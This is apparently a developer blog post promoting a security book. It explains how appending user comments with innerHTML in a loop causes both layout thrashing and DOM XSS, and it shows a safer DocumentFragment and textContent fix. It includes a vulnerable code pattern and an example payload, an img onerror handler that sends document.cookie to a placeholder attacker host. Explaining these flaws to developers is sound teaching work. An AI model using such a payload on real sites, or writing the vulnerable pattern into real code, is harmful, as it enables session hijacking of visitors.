A comment section that used to feel instant now stutters every time someone posts. Scrolling gets choppy. Typing in the reply box lags half a second behind every keystroke. The team assumes it is a server problem, so they check the API response time. It is fine. They check the database. It is fine.
Then, a few weeks later, a much worse report comes in. Someone posted a comment, and every single visitor who viewed that page got redirected to a strange login page and had their session hijacked.
Two separate incidents. Same root cause. Same line of code, sitting quietly inside a loop.
comments.forEach(comment => {
commentSection.innerHTML += `<div class="comment">${comment.text}</div>`;
});
It looks completely reasonable. Loop through the comments, append each one to the page. Every JavaScript developer has written something close to this at least once. That is exactly why this crime is so common. It reads like the obvious way to build a list, and it quietly commits two separate offenses at the same time, one against performance and one against security.
Crime One: The Reflow Disaster
Every time you write element.innerHTML += something, the browser does not simply tack the new content onto the end. It has to take everything currently inside that element, serialize it back into an HTML string, glue your new piece onto it, throw away every existing node inside that container, and parse the entire combined string from scratch into brand new DOM nodes.
Inside a loop, that means for a hundred comments, the browser is not doing a hundred small operations. It is re-parsing a string that grows a little longer on every pass, rebuilding the entire comment section from zero, one hundred separate times. Each of those rebuilds forces the browser to recalculate layout (a reflow) and repaint the screen. This is the classic recipe for what is known as layout thrashing, and it is why a "simple" list of a few hundred items can visibly freeze a page on a mid range phone.
There is a second, quieter cost buried in there too. Because the entire container gets torn down and rebuilt on every iteration, any existing DOM state inside it gets destroyed along the way. Event listeners attached to earlier comments disappear. If a user had focus in an input field inside that container, they lose it, mid keystroke. Video players restart. Scroll position resets. None of that is a coincidence. It is the direct, unavoidable result of destroying and recreating the entire subtree on every single loop iteration.
Crime Two: The Blatant DOM XSS
The second crime hiding in that same line is worse, because it is not a performance annoyance. It is an open door.
innerHTML does not just insert text. It parses whatever string you hand it as real HTML and executes it accordingly. If comment.text contains plain words, you get a paragraph. If it contains something like this instead,
<img src=x onerror="fetch('https://attacker.site/steal?c='+document.cookie)">
the browser does not print that as harmless text. It builds a real image element, the image fails to load because "x" is not a valid source, and the onerror handler fires, running the attacker's JavaScript inside your page, with full access to cookies, local storage, and anything else your session can reach.
This is a textbook DOM based cross site scripting vulnerability, and it is one of the most well documented mistakes in front end security. The OWASP Foundation's own guidance on the subject is blunt about it. The fix is not clever encoding tricks. It is simply refusing to let user controlled data reach innerHTML in the first place.
Because the vulnerable comment is rendered inside a loop, every single visitor who loads that page becomes a fresh victim. One malicious comment, submitted once, quietly attacks every person who scrolls past it. No phishing email required. No link for anyone to click. Just a normal page load.
The Real World Impact
Picture any feature that renders a list of user generated content on page load. Comment sections. Chat messages. Product reviews. Notification feeds. Support ticket threads. Anywhere a list of items comes from users and gets rendered in a loop is a candidate for exactly this pattern.
The performance side alone is enough to hurt retention. Users on older phones or slower connections abandon interfaces that stutter and lag, and they rarely file a bug report explaining why. They just leave.
The security side is far more serious. A single stored DOM XSS payload in a comment, a bio field, or a chat message can silently harvest session tokens from every visitor who views it, long after the attacker has moved on. It can deface the page for every viewer, redirect them, or quietly log their keystrokes. Because the payload lives inside ordinary looking user content, it can sit undetected for a long time before anyone notices something is wrong.
The Professional Fix
The good news is that one fix solves both crimes at the same time, because the root problem in both cases is the same habit, treating raw user text as if it were safe, structural HTML.
// Before: reflow disaster and DOM XSS in one line
comments.forEach(comment => {
commentSection.innerHTML += `<div class="comment">${comment.text}</div>`;
});
// After: one reflow, zero script execution
const fragment = document.createDocumentFragment();
comments.forEach(comment => {
const div = document.createElement('div');
div.className = 'comment';
div.textContent = comment.text; // treated as plain text, never parsed as HTML
fragment.appendChild(div);
});
commentSection.appendChild(fragment); // single DOM write, single reflow
This rewrite fixes both problems for a different reason each. document.createDocumentFragment() builds the entire list of comments in memory, completely detached from the live page, and only touches the real DOM once, at the very end. That collapses however many reflows down to exactly one, and it stops shredding existing nodes, event listeners, and focus state on every pass.
textContent fixes the security half. It inserts the string as literal text, full stop. If comment.text contains <script> tags or an onerror handler, the browser displays those characters on the screen instead of executing them. There is nothing left to sanitize, because nothing gets interpreted as markup in the first place.
If a feature genuinely needs to render rich HTML from user submitted content, such as a comment editor that allows bold text or links, the fix is to run that content through a dedicated sanitization library like DOMPurify before it ever touches innerHTML, rather than trusting it directly.
This Mistake Is Not Only a JavaScript Problem
The same underlying crime, trusting user input as safe markup, shows up wearing different syntax in every language. In PHP, it is echoing a form value straight into a page without htmlspecialchars(). In Python, it is a template engine rendering a string marked as |safe or Markup() when that string actually came from a user. Different keyword, same open door.
That is really the whole idea behind the pattern. The language changes. The specific function name changes. The underlying mistake, letting untrusted data cross straight from user input into something the browser or server treats as executable structure, stays exactly the same.
Where This Fits Into the Bigger Picture
This is exactly the kind of everyday, easy to miss crime covered in Code Crimes: Security & Performance Mistakes in Modern Code. The book walks through more than two hundred real vulnerability and performance case studies across Python, PHP, and JavaScript, breaking each one down into what the mistake actually is, what it costs in a real production system, and the professional fix a senior engineer reaches for.
The innerHTML loop disaster covered here is just one chapter's worth. The book also covers SQL injection shortcuts, insecure defaults, N plus one queries, authentication mistakes, and dozens of other patterns that look completely normal until real traffic and real attackers show up.
You can read more about the book here: Code Crimes: The Book Every Developer Needs Before Their Next Code Review
Or grab it directly on Amazon: https://www.amazon.com/dp/B0H678BFCK
If a single line of "obvious" code inside a loop can freeze your interface and open a security hole at the same time, it is worth taking a second look at every loop in your codebase that touches innerHTML.
Top comments (0)